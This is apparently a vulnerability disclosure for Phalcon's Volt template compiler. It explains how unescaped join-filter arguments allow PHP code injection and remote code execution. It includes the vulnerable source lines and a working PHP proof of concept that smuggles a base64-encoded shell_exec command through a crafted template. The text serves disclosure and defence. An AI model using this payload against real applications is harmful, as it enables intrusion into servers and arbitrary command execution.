The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
  return "join('" . funcArguments[1]["expr"]["value"]
    . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR CONCAT SVSVS(return value, "join('", & 19$$24, "', ", & 22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by PhalconMvcViewEngineVolt::render(), so any PHP spliced in by the attacker runs at render time.

<?php
use PhalconMvcViewEngineVoltCompiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64 encode($cmd);
$tpl = "{{ ['x'] | join("',[]); echo shell exec(base64 decode('$b64')); //") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys get temp dir(), 'volt') . '.php';
file put contents($f, $compiled);
include $f;
unlink($f);

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.